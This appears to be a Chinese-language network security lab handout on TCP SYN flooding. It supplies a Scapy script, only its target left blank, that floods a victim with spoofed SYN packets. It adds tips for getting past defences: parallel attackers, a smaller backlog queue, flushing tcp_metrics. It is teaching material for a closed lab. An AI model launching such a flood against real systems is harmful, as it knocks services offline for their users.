Section outline

  • 我们提供了一个名为 synflood.py 的 Python 程序,但故意在代码中省略了一些重要的数据。这段代码发送了伪造的 TCP SYN 数据包,其中有随机生成的源IP地址、源端口和序列号。请完成这段代码,然后用它对目标机发起攻击。

    #!/bin/env python3
    
    from scapy.all import IP, TCP, send
    from ipaddress import IPv4Address
    from random import getrandbits
    
    ip  = IP(dst="*.*.*.*")
    tcp = TCP(dport=**, flags='S')
    pkt = ip/tcp
    
    while True:
        pkt[IP].src    = str(IPv4Address(getrandbits(32)))  # 源 iP
        pkt[TCP].sport = getrandbits(16)     # 源端口号
        pkt[TCP].seq   = getrandbits(32)     # 序列号
        send(pkt, verbose = 0)

    让攻击运行至少一分钟,然后 telnet 到受害者的机器,看看是否能连接成功。你的攻击很可能会失败,下面列出导致失败的多种问题以及解决方法:
     
    • TCP 缓冲: 参见下面注释 A。
       
    • 虚拟机: 如果你是从一台虚拟机对另一台虚拟机进行攻击,而不是使用我们的容器设置,请参见下面的注释 B。如果您是使用容器设置进行攻击,应该不会有问题。
       
    • TCP 重传: 在发出 SYN+ACK 数据包后,受害机器将等待ACK数据包。如果它没有及时到来,TCP将重传 SYN+ACK 数据包。 重传次数取决于以下内核参数(默认值为5)。
      # sysctl net.ipv4.tcp_synack_retries
      net.ipv4.tcp_synack_retries = 5
      在这5次重传之后,TCP 将把相应的连接从半打开的连接队列中删除。每当一个连接被删除时, 就会有一个空位出现。攻击的数据包和合法的 telnet 连接请求数据包将争夺这个空位。我们的 Python 程序可能会不够快,因此会输给合法的 telnet 数据包。为了在竞争中获胜,我们可以并行运行多个攻击程序。请尝试这种方法,看看是否能提高成功率。 你运行多少个攻击程序才能达到不错的成功率?
       
    • 队列大小: 队列中能存储的半连接数量会影响攻击的成功率,使用以下命令可以调整队列的大小:
      # sysctl -w net.ipv4.tcp_max_syn_backlog=80
      当攻击正在进行时,可以运行以下命令之一来查看有多少半连接在队列中。应该注意的是,队列中四分之一的空间是为``已证实的目的地''保留的(见下文注释 A)。因此,如果我们将大小设置为80,其实际容量大约为60。
      $ netstat -tna | grep SYN_RECV | wc -l
      $ ss -n state syn-recv sport = :23 | wc -l
      请减少受害者服务器上的半打开的连接队列的大小,看看你的攻击成功率是否能提高。

    注释 A: 内核的一个防御机制。在 Ubuntu 20.04 上,如果机器 X 从未与受害者机器建立过 TCP 连接,当 SYN 泛洪攻击启动时,机器 X 将无法 telnet 到受害机器。然而,如果在攻击之前,机器 X 已经与受害机器建立了telnet(或TCP连接),那么 X 似乎对 SYN 泛洪攻击“免疫”,在攻击期间可以成功地telnet到受害机器。受害机器似乎记住了过去成功的连接,并在与“老相识”建立新连接时使用了这一段记忆。这种行为在 Ubuntu 16.04 和早期版本中并不存在。

    这是由于内核的一种缓解机制。如果 SYN Cookies 被禁用,TCP会保留队列的四分之一给已被证实的IP地址。在建立一个从 10.9.0.6 到 10.9.0.5 的 TCP 连接时, 我们可以看到 IP 地址 10.9.0.6 被服务器记住了(缓存),所以来自这些地址的连接将使用保留的位置,而不会受 SYN 泛洪攻击影响。我们可以在服务器上运行 "ip tcp_metrics flush" 命令以消除这种缓解机制的影响。
    # ip tcp_metrics show
    10.9.0.6 age 140.552sec cwnd 10 rtt 79us rttvar 40us source 10.9.0.5
    
    # ip tcp_metrics flush
    


    注释 B: RST 数据包。如果你使用两个虚拟机来完成这项任务,即从一个虚拟机攻击另一个虚拟机,而不是攻击一个容器,你会在Wireshark中发现许多RST数据包(重置)。最初我们认为这些数据包是由SYN+ACK数据包的接收方产生的,但其实它们是由我们实验设置中的NAT服务器产生的。
     
    在我们的实验设置中,任何从虚拟机出去的流量都将经过VirtualBox提供的NAT服务器。对于TCP,NAT会根据SYN数据包生成地址转换记录,它对后面该TCP连接里的包做地址转换都会用到这个记录。在我们的攻击中,攻击者产生的SYN数据包没有经过NAT(攻击者和受害者都在NAT背后),所以NAT里没有该连接的记录。当受害者将SYN+ACK数据包发回给源IP(由攻击者随机生成)时,这个数据包将通过 NAT 发送出去,但由于这个 TCP 连接在 NAT 里没有记录,NAT 不知道该怎么做,所以它会给受害者发回一个 TCP RST 数据包。

    RST数据包导致受害者删除半开放的连接队列中的数据。因此,当我们试图用泛洪攻击填满这个队列时,VirtualBox 会帮助受害者从队列中删除我们的记录,我们的攻击能否成功就取决于我们的代码和 VirtualBox 之间的速度竞争。